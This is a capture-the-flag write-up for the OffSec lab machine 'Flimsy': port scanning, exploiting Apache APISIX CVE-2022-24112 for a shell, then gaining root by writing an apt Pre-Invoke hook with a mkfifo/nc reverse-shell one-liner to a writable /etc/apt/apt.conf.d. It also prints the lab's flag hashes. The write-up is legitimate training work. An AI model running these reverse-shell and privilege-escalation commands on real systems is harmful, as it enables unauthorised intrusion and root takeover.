Summary #
On port 43500 there is an OpenResty
web app server with a http-server-header: APISIX/2.8
. This Apache API gateway functionality contains a remote code execution exploit (CVE-2022-24112). Using this exploit we get initial access as the franklin
user. This user, as any user, has write access to the /etc/apt/apt.conf.d
directory and there is a cronjob running apt-get update
every minute as the root
user. Using this knowledge we can write a custom script in this directory, that is run before the apt-get update
command. This allows us to escalate our privileges to the root
user.
Specifications #
- Name: FLIMSY
- Platform: PG PRACTICE
- Points: 7
- Difficulty: Easy
- System overview: Linux flimsy 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.225.220
- OFFSEC provided credentials: None
- HASH:
local.txt
:82dae336cf42150a8b326ec520a741e4
- HASH:
proof.txt
:7a1adfd965a40f09efbee91de7ed08c3
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir flimsy && cd flimsy && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 25 19:07 .
drwxrwxr-x 77 kali kali 4096 Sep 25 19:07 ..
drwxrwxr-x 2 kali kali 4096 Sep 25 19:07 enum
drwxrwxr-x 2 kali kali 4096 Sep 25 19:07 exploits
drwxrwxr-x 2 kali kali 4096 Sep 25 19:07 files
drwxrwxr-x 2 kali kali 4096 Sep 25 19:07 tools
drwxrwxr-x 2 kali kali 4096 Sep 25 19:07 uploads
## set bash variable
ip=192.168.225.220
## ping target to check if it's online
ping $ip
PING 192.168.225.220 (192.168.225.220) 56(84) bytes of data.
64 bytes from 192.168.225.220: icmp_seq=1 ttl=61 time=25.6 ms
64 bytes from 192.168.225.220: icmp_seq=2 ttl=61 time=28.3 ms
^C
--- 192.168.225.220 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 25.551/26.940/28.329/1.389 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.225.220:22
Open 192.168.225.220:80
Open 192.168.225.220:3306
Open 192.168.225.220:43500
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 19:11 CEST
Initiating Ping Scan at 19:11
Scanning 192.168.225.220 [4 ports]
Completed Ping Scan at 19:11, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:11
Completed Parallel DNS resolution of 1 host. at 19:11, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:11
Scanning 192.168.225.220 [4 ports]
Discovered open port 3306/tcp on 192.168.225.220
Discovered open port 22/tcp on 192.168.225.220
Discovered open port 80/tcp on 192.168.225.220
Discovered open port 43500/tcp on 192.168.225.220
Completed SYN Stealth Scan at 19:11, 0.04s elapsed (4 total ports)
Nmap scan report for 192.168.225.220
Host is up, received echo-reply ttl 61 (0.023s latency).
Scanned at 2025-09-25 19:11:17 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
43500/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (204B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
43500/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,3306,43500
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,43500 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp open http syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Upright
|_http-server-header: nginx/1.18.0 (Ubuntu)
3306/tcp open mysql syn-ack ttl 61 MySQL (unauthorized)
43500/tcp open http syn-ack ttl 61 OpenResty web app server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: APISIX/2.8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
43500/tcp open http syn-ack ttl 61 OpenResty web app server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: APISIX/2.8
On port 43500 there is an OpenResty
web app server with a http-server-header: APISIX/2.8
. Browsing to this port we see, there is an error message displayed 404 Route Not Found
.

Searching online we can find an Apache APISIX remote code execution exploit (https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112) (CVE-2022-24112). Using this exploit we can get initial access as the franklin
user in the /root
directory. Odd, because we don’t have permissions in the directory.
## change directory
cd exploits
## download exploit
wget https://raw.githubusercontent.com/M4xSec/Apache-APISIX-CVE-2022-24112/refs/heads/main/apisix-exploit.py
--2025-09-25 19:23:39-- https://raw.githubusercontent.com/M4xSec/Apache-APISIX-CVE-2022-24112/refs/heads/main/apisix-exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2681 (2.6K) [text/plain]
Saving to: ‘apisix-exploit.py’
apisix-exploit.py 100%[==============================================>] 2.62K --.-KB/s in 0s
2025-09-25 19:23:39 (14.1 MB/s) - ‘apisix-exploit.py’ saved [2681/2681]
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.175
## setup listener
nc -lvnp 9001
listening on [any] 9001 ...
## run the exploit
python3 apisix-exploit.py http://192.168.225.220:43500/ 192.168.45.175 9001
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.175] from (UNKNOWN) [192.168.225.220] 56402
## print current user
whoami
franklin
## print current working directory
pwd
/root
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/franklin/local.txt
## print `local.txt`
cat /home/franklin/local.txt
82dae336cf42150a8b326ec520a741e4
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/bin/script
## start the script binary, after that press CTRL+Z
/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.175
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
franklin@flimsy:/root$ cd /var/tmp
franklin@flimsy:/var/tmp$
## download `linpeas.sh` using the open port 8080
franklin@flimsy:/var/tmp$ wget http://192.168.45.175/linpeas.sh
--2025-09-25 17:35:09-- http://192.168.45.175/linpeas.sh
Connecting to 192.168.45.175:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 78%[=============================================================linpeas.sh 100%[=============================================================================================================>] 939.29K 2.67MB/s in 0.3s
2025-09-25 17:35:09 (2.67 MB/s) - 'linpeas.sh' saved [961834/961834]
## set the execution bit
franklin@flimsy:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
franklin@flimsy:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows there is a cronjob running this command apt-get update
every minute as the root
user, and the directory /etc/apt/apt.conf.d
is writable. We can abuse this configuration by creating a custom script and run it before apt-get update
, because we can write to /etc/apt/apt.conf.d/
, we can add the following to a file in /etc/apt/apt.conf.d/
: apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.175 9001 >/tmp/f"};
. This should give us a reverse shell as the root
user when the cronjob triggers the apt-get update
command.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.175
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
##
franklin@flimsy:/var/tmp$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.175 9001 >/tmp/f"};' > /etc/apt/apt.conf.d/revshell
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.175] from (UNKNOWN) [192.168.225.220] 57822
/bin/sh: 0: can't access tty; job control turned off
#
## print current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
7a1adfd965a40f09efbee91de7ed08c3
References #
[+] https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112
[+] https://raw.githubusercontent.com/M4xSec/Apache-APISIX-CVE-2022-24112/refs/heads/main/apisix-exploit.py
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh